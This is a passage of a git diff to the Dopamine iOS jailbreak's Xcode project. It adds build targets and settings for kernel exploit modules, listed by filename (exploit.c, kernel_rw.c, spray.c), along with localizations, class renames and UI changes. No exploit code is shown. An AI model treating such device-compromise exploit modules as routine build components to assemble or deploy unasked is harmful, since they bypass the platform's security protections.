8C296BAE2BE05914007C2AD1 /* LICENSE_plooshinit.md in Resources */, + 8C5FA9712BDD81EF008C246F /* LICENSE_weightBufs.md in Resources */, 8CB94F052B59E17A0098BAFD /* basebin.tar in Resources */, + 04DD0B592B7D19E60055DE4F /* Localizable.strings in Resources */, + 04C246B32B74B65900E17924 /* PkgManagers.plist in Resources */, + 04DD0B402B7CBD3D0055DE4F /* Themes.plist in Resources */, 8CB94F042B59E17A0098BAFD /* basebin.tc in Resources */, 8C7198282ABF0E84003C6658 /* LaunchScreen.storyboard in Resources */, 8C7198252ABF0E84003C6658 /* Assets.xcassets in Resources */, @@ -954,6 +1581,42 @@ shellPath = /bin/sh; shellScript = "install_name_tool -change \"@loader_path/libjailbreak.dylib\" \"@executable_path/libjailbreak.dylib\" \"$BUILT_PRODUCTS_DIR/$EXECUTABLE_PATH\"\n"; }; + 8C5FA93D2BDD4FFF008C246F /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + alwaysOutOfDate = 1; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + ); + outputFileListPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "install_name_tool -change \"@loader_path/libjailbreak.dylib\" \"@executable_path/libjailbreak.dylib\" \"$BUILT_PRODUCTS_DIR/$EXECUTABLE_PATH\"\n"; + }; + 8C5FA93E2BDD501C008C246F /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + alwaysOutOfDate = 1; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + ); + outputFileListPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "install_name_tool -change \"@loader_path/libjailbreak.dylib\" \"@executable_path/libjailbreak.dylib\" \"$BUILT_PRODUCTS_DIR/$EXECUTABLE_PATH\"\n"; + }; /* End PBXShellScriptBuildPhase section */ /* Begin PBXSourcesBuildPhase section */ @@ -974,43 +1637,89 @@ ); runOnlyForDeploymentPostprocessing = 0; }; + 8C5FA8D02BDD36B6008C246F /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8C5FA9362BDD47D5008C246F /* ANEDirectIn.c in Sources */, + 8C5FA8F22BDD439A008C246F /* weightBufs.m in Sources */, + 8C5FA9352BDD47D5008C246F /* exploit.m in Sources */, + 8C5FA9382BDD47D5008C246F /* utils.c in Sources */, + 8C5FA9372BDD47D5008C246F /* IOGPU.c in Sources */, + 8C5FA9322BDD47D5008C246F /* IOSurface.c in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 8C5FA8E02BDD36BF008C246F /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8C5FA9682BDD6C0C008C246F /* IOGPU.c in Sources */, + 8C5FA9692BDD6C0C008C246F /* spray.c in Sources */, + 8C5FA8F62BDD4480008C246F /* multicast_bytecopy.m in Sources */, + 8C5FA9652BDD6C0C008C246F /* exploit.c in Sources */, + 8C5FA9612BDD6C0C008C246F /* kernel_base.c in Sources */, + 8C5FA95F2BDD6C0C008C246F /* necp.c in Sources */, + 8C5FA95D2BDD6C0C008C246F /* port_utils.c in Sources */, + 8C5FA9672BDD6C0C008C246F /* kernel_rw.c in Sources */, + 8C5FA9662BDD6C0C008C246F /* mcast.c in Sources */, + 8C5FA95A2BDD6C0C008C246F /* IOSurfaceRoot.c in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; 8C7198112ABF0E82003C6658 /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( + 8C609C9E2C19B4270023DD12 /* NSString+Version.m in Sources */, 042479A62B66916B0082581B /* DOHeaderCell.m in Sources */, + 8C6599DD2C555A71000FF57F /* DOPSJetsamListItemsController.h in Sources */, 042479A22B66916B0082581B /* DOCreditsViewController.m in Sources */, 042479B32B66916B0082581B /* DODebugLogView.m in Sources */, 042479AF2B66916B0082581B /* DONavigationController.m in Sources */, + 04C246AE2B74ACA200E17924 /* DOAppSwitch.m in Sources */, + 8C6599DB2C555A60000FF57F /* DOPSJetsamListItemsController.m in Sources */, 042479B22B66916B0082581B /* DOLyricsLogView.m in Sources */, 042479A52B66916B0082581B /* DOCreditsCell.m in Sources */, + 8C296BAC2BE049E4007C2AD1 /* DOPSExploitListItemsController.m in Sources */, 042479B82B66916B0082581B /* DOMainViewController.m in Sources */, - 8C029F432B4DFD5D0071DE58 /* ExploitManager.m in Sources */, + 8C029F432B4DFD5D0071DE58 /* DOExploitManager.m in Sources */, 042479B02B66916B0082581B /* DOLoadingIndicator.m in Sources */, 042479AC2B66916B0082581B /* DOJailbreakButton.m in Sources */, - 8C4ABEBE2B52274300B43C9B /* PreferenceManager.m in Sources */, + 8CBF1A4A2EC3B71700EB2308 /* UIImage+JPEG2000.m in Sources */, + 8C4ABEBE2B52274300B43C9B /* DOPreferenceManager.m in Sources */, + 04DD0B472B7CBEEA0055DE4F /* DOTheme.m in Sources */, + 04DD0B442B7CBE2E0055DE4F /* DOThemeManager.m in Sources */, 042479A92B66916B0082581B /* DOModalBackAction.m in Sources */, 8CC139822B53DE6C00230143 /* NSData+Hex.m in Sources */, 042479AE2B66916B0082581B /* DOUIManager.m in Sources */, - 8C71981A2ABF0E82003C6658 /* AppDelegate.m in Sources */, + 8C71981A2ABF0E82003C6658 /* DOAppDelegate.m in Sources */, 042479B72B66916B0082581B /* DOActionMenuView.m in Sources */, - 8C029F632B4E2E140071DE58 /* Jailbreaker.m in Sources */, + 8C029F632B4E2E140071DE58 /* DOJailbreaker.m in Sources */, + 040622AA2B77FE8E00393AAD /* DOPkgManagerPickerViewController.m in Sources */, 042479A82B66916B0082581B /* DOPSListController.m in Sources */, 042479B12B66916B0082581B /* DODoubleHelixIndicator.m in Sources */, 042479A72B66916B0082581B /* DOButtonCell.m in Sources */, - 042479B92B66916B0082581B /* GlobalAppearance.m in Sources */, + 042479B92B66916B0082581B /* DOGlobalAppearance.m in Sources */, 8C9E46292ACA1CC700B5456A /* UIImage+Blur.m in Sources */, - 8C029F462B4DFD910071DE58 /* Bootstrapper.m in Sources */, + 8C029F462B4DFD910071DE58 /* DOBootstrapper.m in Sources */, 042479AD2B66916B0082581B /* DOHeaderView.m in Sources */, - 042479AB2B66916B0082581B /* DOModalTransitionPush.m in Sources */, - 042479AA2B66916B0082581B /* DOModalTransitionPop.m in Sources */, + 042479AB2B66916B0082581B /* DOModalTransitionScale.m in Sources */, + 04DD0B352B7BA38C0055DE4F /* DOLicenseViewController.m in Sources */, + 042479AA2B66916B0082581B /* DOModalTransitionPush.m in Sources */, + 0443A9B12B79D9C10014C933 /* DOPSListItemsController.m in Sources */, 8C71982B2ABF0E84003C6658 /* main.m in Sources */, - 8C029F602B4E25350071DE58 /* EnvironmentManager.m in Sources */, + 04DD0B3D2B7C88210055DE4F /* DOLogCrashViewController.m in Sources */, + 8C029F602B4E25350071DE58 /* DOEnvironmentManager.m in Sources */, + 04C246A12B73225800E17924 /* DODownloadViewController.m in Sources */, 042479B52B66916B0082581B /* DOLyricsLogItemView.m in Sources */, - 8C029F4E2B4E1FF30071DE58 /* Exploit.m in Sources */, + 8C029F4E2B4E1FF30071DE58 /* DOExploit.m in Sources */, + 04C2469D2B73220400E17924 /* DOUpdateCircleView.m in Sources */, + 04C246B12B74B05800E17924 /* DOPkgManagerPickerView.m in Sources */, 042479B42B66916B0082581B /* DOProgressiveBlurView.m in Sources */, + 04C2469C2B73220400E17924 /* DOUpdateViewController.m in Sources */, 042479B62B66916B0082581B /* DOActionMenuButton.m in Sources */, - 8C71981D2ABF0E82003C6658 /* SceneDelegate.m in Sources */, + 8C71981D2ABF0E82003C6658 /* DOSceneDelegate.m in Sources */, 042479A32B66916B0082581B /* DOSettingsController.m in Sources */, ); runOnlyForDeploymentPostprocessing = 0; @@ -1036,6 +1745,16 @@ target = 8C2B1FDE2B532374009BA166 /* dmaFail */; targetProxy = 8C2B1FE32B532374009BA166 /* PBXContainerItemProxy */; }; + 8C5FA8D92BDD36B6008C246F /* PBXTargetDependency */ = { + isa = PBXTargetDependency; + target = 8C5FA8D32BDD36B6008C246F /* weightBufs */; + targetProxy = 8C5FA8D82BDD36B6008C246F /* PBXContainerItemProxy */; + }; + 8C5FA8E92BDD36BF008C246F /* PBXTargetDependency */ = { + isa = PBXTargetDependency; + target = 8C5FA8E32BDD36BF008C246F /* multicast_bytecopy */; + targetProxy = 8C5FA8E82BDD36BF008C246F /* PBXContainerItemProxy */; + }; 8CDD07AC2B4F619000A32B61 /* PBXTargetDependency */ = { isa = PBXTargetDependency; target = 8CDD07A62B4F619000A32B61 /* kfd */; @@ -1044,6 +1763,40 @@ /* End PBXTargetDependency section */ /* Begin PBXVariantGroup section */ + 04DD0B5B2B7D19E60055DE4F /* Localizable.strings */ = { + isa = PBXVariantGroup; + children = ( + 04DD0B5A2B7D19E60055DE4F /* en */, + 04DD0B5D2B7D1A210055DE4F /* es */, + 04DD0B5C2B7D1A210055DE4F /* fr */, + 049D52042B7E7C1D00389436 /* ar */, + 049D52052B7E7C2500389436 /* da */, + 049D52062B7E7C3500389436 /* de */, + 049D52072B7E7C4700389436 /* el */, + 049D52082B7E7C6B00389436 /* fil */, + 0A5F1EAF2FBB000000000001 /* hi */, + 049D52092B7E7C7600389436 /* it */, + 049D520A2B7E7C8F00389436 /* ja */, + 049D520B2B7E7CCA00389436 /* kk */, + 049D520C2B7E7CD300389436 /* ko */, + 049D520D2B7E7D3500389436 /* nl */, + 049D520E2B7E7D3E00389436 /* pl */, + 049D520F2B7E7D4700389436 /* pt-BR */, + 049D52102B7E7D4F00389436 /* ru */, + 049D52112B7E7D5700389436 /* sv */, + 049D52122B7E7D6200389436 /* tr */, + 049D52132B7E7D7000389436 /* uk */, + 049D52142B7E7D7B00389436 /* ur */, + 049D52152B7E7D8200389436 /* vi */, + 049D52192B7E7E1600389436 /* zh-HK */, + 049D521C2B7E7EB300389436 /* zh-Hans */, + 049D521D2B7E7EDA00389436 /* zh-TW */, + 049D521E2B7E7F1C00389436 /* zh-CN */, + C075B0CB2B8F2BCE009A26BB /* th */, + ); + name = Localizable.strings; + sourceTree = ""; + }; 8C7198262ABF0E84003C6658 /* LaunchScreen.storyboard */ = { isa = PBXVariantGroup; children = ( @@ -1066,7 +1819,6 @@ DYLIB_COMPATIBILITY_VERSION = 1; DYLIB_CURRENT_VERSION = 1; DYLIB_INSTALL_NAME_BASE = "@rpath"; - ENABLE_MODULE_VERIFIER = YES; ENABLE_USER_SCRIPT_SANDBOXING = NO; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = "$(SRCROOT)/Dopamine/Exploits/badRecovery/Info.plist"; @@ -1102,7 +1854,6 @@ DYLIB_COMPATIBILITY_VERSION = 1; DYLIB_CURRENT_VERSION = 1; DYLIB_INSTALL_NAME_BASE = "@rpath"; - ENABLE_MODULE_VERIFIER = YES; ENABLE_USER_SCRIPT_SANDBOXING = NO; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = "$(SRCROOT)/Dopamine/Exploits/badRecovery/Info.plist"; @@ -1137,7 +1888,6 @@ DYLIB_COMPATIBILITY_VERSION = 1; DYLIB_CURRENT_VERSION = 1; DYLIB_INSTALL_NAME_BASE = "@rpath"; - ENABLE_MODULE_VERIFIER = YES; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = "$(SRCROOT)/Dopamine/Exploits/dmaFail/Info.plist"; INFOPLIST_KEY_NSHumanReadableCopyright = ""; @@ -1171,7 +1921,6 @@ DYLIB_COMPATIBILITY_VERSION = 1; DYLIB_CURRENT_VERSION = 1; DYLIB_INSTALL_NAME_BASE = "@rpath"; - ENABLE_MODULE_VERIFIER = YES; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = "$(SRCROOT)/Dopamine/Exploits/dmaFail/Info.plist"; INFOPLIST_KEY_NSHumanReadableCopyright = ""; @@ -1195,11 +1944,152 @@ }; name = Release; }; + 8C5FA8DC2BDD36B6008C246F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + DEFINES_MODULE = YES; + DEVELOPMENT_TEAM = 3Z56NQJ65R; + DYLIB_COMPATIBILITY_VERSION = 1; + DYLIB_CURRENT_VERSION = 1; + DYLIB_INSTALL_NAME_BASE = "@rpath"; + ENABLE_USER_SCRIPT_SANDBOXING = NO; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_FILE = "$(SRCROOT)/Dopamine/Exploits/weightBufs/Info.plist"; + INFOPLIST_KEY_CFBundleDisplayName = weightBufs; + INFOPLIST_KEY_NSHumanReadableCopyright = ""; + INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks"; + IPHONEOS_DEPLOYMENT_TARGET = 15.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + "@loader_path/Frameworks", + ); + MARKETING_VERSION = 1.0; + MODULE_VERIFIER_SUPPORTED_LANGUAGES = "objective-c objective-c++"; + MODULE_VERIFIER_SUPPORTED_LANGUAGE_STANDARDS = "gnu17 gnu++20"; + PRODUCT_BUNDLE_IDENTIFIER = com.opa334.weightBufs; + PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)"; + SKIP_INSTALL = YES; + SWIFT_EMIT_LOC_STRINGS = YES; + TARGETED_DEVICE_FAMILY = "1,2"; + VERSIONING_SYSTEM = "apple-generic"; + VERSION_INFO_PREFIX = ""; + }; + name = Debug; + }; + 8C5FA8DD2BDD36B6008C246F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + DEFINES_MODULE = YES; + DEVELOPMENT_TEAM = 3Z56NQJ65R; + DYLIB_COMPATIBILITY_VERSION = 1; + DYLIB_CURRENT_VERSION = 1; + DYLIB_INSTALL_NAME_BASE = "@rpath"; + ENABLE_USER_SCRIPT_SANDBOXING = NO; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_FILE = "$(SRCROOT)/Dopamine/Exploits/weightBufs/Info.plist"; + INFOPLIST_KEY_CFBundleDisplayName = weightBufs; + INFOPLIST_KEY_NSHumanReadableCopyright = ""; + INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks"; + IPHONEOS_DEPLOYMENT_TARGET = 15.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + "@loader_path/Frameworks", + ); + MARKETING_VERSION = 1.0; + MODULE_VERIFIER_SUPPORTED_LANGUAGES = "objective-c objective-c++"; + MODULE_VERIFIER_SUPPORTED_LANGUAGE_STANDARDS = "gnu17 gnu++20"; + PRODUCT_BUNDLE_IDENTIFIER = com.opa334.weightBufs; + PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)"; + SKIP_INSTALL = YES; + SWIFT_EMIT_LOC_STRINGS = YES; + TARGETED_DEVICE_FAMILY = "1,2"; + VERSIONING_SYSTEM = "apple-generic"; + VERSION_INFO_PREFIX = ""; + }; + name = Release; + }; + 8C5FA8ED2BDD36BF008C246F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + DEFINES_MODULE = YES; + DEVELOPMENT_TEAM = 3Z56NQJ65R; + DYLIB_COMPATIBILITY_VERSION = 1; + DYLIB_CURRENT_VERSION = 1; + DYLIB_INSTALL_NAME_BASE = "@rpath"; + ENABLE_USER_SCRIPT_SANDBOXING = NO; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_FILE = "$(SRCROOT)/Dopamine/Exploits/multicast_bytecopy/Info.plist"; + INFOPLIST_KEY_CFBundleDisplayName = multicast_bytecopy; + INFOPLIST_KEY_NSHumanReadableCopyright = ""; + INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks"; + IPHONEOS_DEPLOYMENT_TARGET = 15.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + "@loader_path/Frameworks", + ); + MARKETING_VERSION = 1.0; + MODULE_VERIFIER_SUPPORTED_LANGUAGES = "objective-c objective-c++"; + MODULE_VERIFIER_SUPPORTED_LANGUAGE_STANDARDS = "gnu17 gnu++20"; + PRODUCT_BUNDLE_IDENTIFIER = "com.opa334.multicast-bytecopy"; + PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)"; + SKIP_INSTALL = YES; + SWIFT_EMIT_LOC_STRINGS = YES; + TARGETED_DEVICE_FAMILY = "1,2"; + VERSIONING_SYSTEM = "apple-generic"; + VERSION_INFO_PREFIX = ""; + }; + name = Debug; + }; + 8C5FA8EE2BDD36BF008C246F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + DEFINES_MODULE = YES; + DEVELOPMENT_TEAM = 3Z56NQJ65R; + DYLIB_COMPATIBILITY_VERSION = 1; + DYLIB_CURRENT_VERSION = 1; + DYLIB_INSTALL_NAME_BASE = "@rpath"; + ENABLE_USER_SCRIPT_SANDBOXING = NO; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_FILE = "$(SRCROOT)/Dopamine/Exploits/multicast_bytecopy/Info.plist"; + INFOPLIST_KEY_CFBundleDisplayName = multicast_bytecopy; + INFOPLIST_KEY_NSHumanReadableCopyright = ""; + INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks"; + IPHONEOS_DEPLOYMENT_TARGET = 15.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + "@loader_path/Frameworks", + ); + MARKETING_VERSION = 1.0; + MODULE_VERIFIER_SUPPORTED_LANGUAGES = "objective-c objective-c++"; + MODULE_VERIFIER_SUPPORTED_LANGUAGE_STANDARDS = "gnu17 gnu++20"; + PRODUCT_BUNDLE_IDENTIFIER = "com.opa334.multicast-bytecopy"; + PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)"; + SKIP_INSTALL = YES; + SWIFT_EMIT_LOC_STRINGS = YES; + TARGETED_DEVICE_FAMILY = "1,2"; + VERSIONING_SYSTEM = "apple-generic"; + VERSION_INFO_PREFIX = ""; + }; + name = Release; + }; 8C71982C2ABF0E84003C6658 /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; + CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; @@ -1267,6 +2157,7 @@ buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; + CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; @@ -1326,6 +2217,7 @@ 8C71982F2ABF0E84003C6658 /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { + ASSETCATALOG_COMPILER_ALTERNATE_APPICON_NAMES = "AppIcon_ElleKit AppIcon_Red AppIcon_Purple AppIcon_Blue"; ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; CODE_SIGN_STYLE = Automatic; @@ -1351,7 +2243,7 @@ "$(PROJECT_DIR)/Dopamine/Dependencies", "$(PROJECT_DIR)/Dopamine/Resources", ); - MARKETING_VERSION = 2.0; + MARKETING_VERSION = 2.4.9; PRODUCT_BUNDLE_IDENTIFIER = com.opa334.Dopamine; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; @@ -1362,6 +2254,7 @@ 8C7198302ABF0E84003C6658 /* Release */ = { isa = XCBuildConfiguration; buildSettings = { + ASSETCATALOG_COMPILER_ALTERNATE_APPICON_NAMES = "AppIcon_ElleKit AppIcon_Red AppIcon_Purple AppIcon_Blue"; ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; CODE_SIGN_STYLE = Automatic; @@ -1387,7 +2280,7 @@ "$(PROJECT_DIR)/Dopamine/Dependencies", "$(PROJECT_DIR)/Dopamine/Resources", ); - MARKETING_VERSION = 2.0; + MARKETING_VERSION = 2.4.9; PRODUCT_BUNDLE_IDENTIFIER = com.opa334.Dopamine; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; @@ -1405,9 +2298,9 @@ DYLIB_COMPATIBILITY_VERSION = 1; DYLIB_CURRENT_VERSION = 1; DYLIB_INSTALL_NAME_BASE = "@rpath"; - ENABLE_MODULE_VERIFIER = YES; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = Dopamine/Exploits/kfd/Info.plist; + INFOPLIST_KEY_CFBundleDisplayName = kfd; INFOPLIST_KEY_NSHumanReadableCopyright = ""; INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks"; IPHONEOS_DEPLOYMENT_TARGET = 15.0; @@ -1439,9 +2332,9 @@ DYLIB_COMPATIBILITY_VERSION = 1; DYLIB_CURRENT_VERSION = 1; DYLIB_INSTALL_NAME_BASE = "@rpath"; - ENABLE_MODULE_VERIFIER = YES; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = Dopamine/Exploits/kfd/Info.plist; + INFOPLIST_KEY_CFBundleDisplayName = kfd; INFOPLIST_KEY_NSHumanReadableCopyright = ""; INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks"; IPHONEOS_DEPLOYMENT_TARGET = 15.0; @@ -1484,6 +2377,24 @@ defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; + 8C5FA8DE2BDD36B6008C246F /* Build configuration list for PBXNativeTarget "weightBufs" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8C5FA8DC2BDD36B6008C246F /* Debug */, + 8C5FA8DD2BDD36B6008C246F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 8C5FA8EC2BDD36BF008C246F /* Build configuration list for PBXNativeTarget "multicast_bytecopy" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8C5FA8ED2BDD36BF008C246F /* Debug */, + 8C5FA8EE2BDD36BF008C246F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; 8C7198102ABF0E82003C6658 /* Build configuration list for PBXProject "Dopamine" */ = { isa = XCConfigurationList; buildConfigurations = ( diff --git a/Application/Dopamine.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved b/Application/Dopamine.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved deleted file mode 100644 index 147237b065..0000000000 --- a/Application/Dopamine.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved +++ /dev/null @@ -1,14 +0,0 @@ -{ - "pins" : [ - { - "identity" : "zstd", - "kind" : "remoteSourceControl", - "location" : "https://github.com/facebook/zstd.git", - "state" : { - "branch" : "dev", - "revision" : "050fec5c378d676fede8b2171ec5e84f6afa1504" - } - } - ], - "version" : 2 -} diff --git a/Application/Dopamine.xcodeproj/xcshareddata/xcschemes/Dopamine.xcscheme b/Application/Dopamine.xcodeproj/xcshareddata/xcschemes/Dopamine.xcscheme deleted file mode 100644 index b4d358343b..0000000000 --- a/Application/Dopamine.xcodeproj/xcshareddata/xcschemes/Dopamine.xcscheme +++ /dev/null @@ -1,77 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/Application/Dopamine/App Delegates/AppDelegate.h b/Application/Dopamine/App Delegates/DOAppDelegate.h similarity index 64% rename from Application/Dopamine/App Delegates/AppDelegate.h rename to Application/Dopamine/App Delegates/DOAppDelegate.h index d0cb0f2e89..11128efe74 100644 --- a/Application/Dopamine/App Delegates/AppDelegate.h +++ b/Application/Dopamine/App Delegates/DOAppDelegate.h @@ -7,7 +7,7 @@ #import -@interface AppDelegate : UIResponder +@interface DOAppDelegate : UIResponder @end diff --git a/Application/Dopamine/App Delegates/AppDelegate.m b/Application/Dopamine/App Delegates/DOAppDelegate.m similarity index 76% rename from Application/Dopamine/App Delegates/AppDelegate.m rename to Application/Dopamine/App Delegates/DOAppDelegate.m index b60e1cdad9..444b362229 100644 --- a/Application/Dopamine/App Delegates/AppDelegate.m +++ b/Application/Dopamine/App Delegates/DOAppDelegate.m @@ -5,13 +5,13 @@ // Created by Lars Fröder on 23.09.23. // -#import "AppDelegate.h" +#import "DOAppDelegate.h" -@interface AppDelegate () +@interface DOAppDelegate () @end -@implementation AppDelegate +@implementation DOAppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { @@ -36,5 +36,11 @@ - (void)application:(UIApplication *)application didDiscardSceneSessions:(NSSet< // Use this method to release any resources that were specific to the discarded scenes, as they will not return. } +- (UIInterfaceOrientationMask)application:(UIApplication *)application supportedInterfaceOrientationsForWindow:(UIWindow *)window +{ + if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPad) + return UIInterfaceOrientationMaskAll; + return UIInterfaceOrientationMaskPortrait; +} @end diff --git a/Application/Dopamine/App Delegates/SceneDelegate.h b/Application/Dopamine/App Delegates/DOSceneDelegate.h similarity index 66% rename from Application/Dopamine/App Delegates/SceneDelegate.h rename to Application/Dopamine/App Delegates/DOSceneDelegate.h index 9c58461b92..77bebe8c57 100644 --- a/Application/Dopamine/App Delegates/SceneDelegate.h +++ b/Application/Dopamine/App Delegates/DOSceneDelegate.h @@ -7,9 +7,11 @@ #import -@interface SceneDelegate : UIResponder +@interface DOSceneDelegate : UIResponder @property (strong, nonatomic) UIWindow * window; ++ (void)relaunch; + @end diff --git a/Application/Dopamine/App Delegates/SceneDelegate.m b/Application/Dopamine/App Delegates/DOSceneDelegate.m similarity index 69% rename from Application/Dopamine/App Delegates/SceneDelegate.m rename to Application/Dopamine/App Delegates/DOSceneDelegate.m index 982b189c3b..91d63a69b3 100644 --- a/Application/Dopamine/App Delegates/SceneDelegate.m +++ b/Application/Dopamine/App Delegates/DOSceneDelegate.m @@ -5,15 +5,14 @@ // Created by Lars Fröder on 23.09.23. // -#import "SceneDelegate.h" +#import "DOSceneDelegate.h" #import "DONavigationController.h" -@interface SceneDelegate () +@interface DOSceneDelegate () @end -@implementation SceneDelegate - +@implementation DOSceneDelegate - (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions { UIWindow *window = [[UIWindow alloc] initWithWindowScene:(UIWindowScene *)scene]; @@ -22,6 +21,24 @@ - (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session op self.window = window; } ++ (void)relaunch +{ + UIWindowScene *windowScene = (UIWindowScene *)[[[UIApplication sharedApplication] connectedScenes] anyObject]; + DOSceneDelegate *instance = (DOSceneDelegate *)windowScene.delegate; + + [UIView animateWithDuration:0.3 animations:^{ + instance.window.alpha = 0; + } completion:^(BOOL finished) { + UIWindow *window = [[UIWindow alloc] initWithWindowScene:(UIWindowScene *)instance.window.windowScene]; + window.rootViewController = [[DONavigationController alloc] init]; + [window makeKeyAndVisible]; + instance.window = window; + instance.window.alpha = 0; + [UIView animateWithDuration:0.3 animations:^{ + instance.window.alpha = 1; + }]; + }]; +} - (void)sceneDidDisconnect:(UIScene *)scene { // Called as the scene is being released by the system. diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/100.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/100.png deleted file mode 100644 index 6f2af459ce..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/100.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/1024.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/1024.png deleted file mode 100644 index 6b0166dace..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/1024.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/114.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/114.png deleted file mode 100644 index 7488497bfe..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/114.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/120.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/120.png deleted file mode 100644 index 144009f934..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/120.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/144.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/144.png deleted file mode 100644 index 60ab908739..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/144.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/152.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/152.png deleted file mode 100644 index b414d6f7d4..0000000000 Binary files 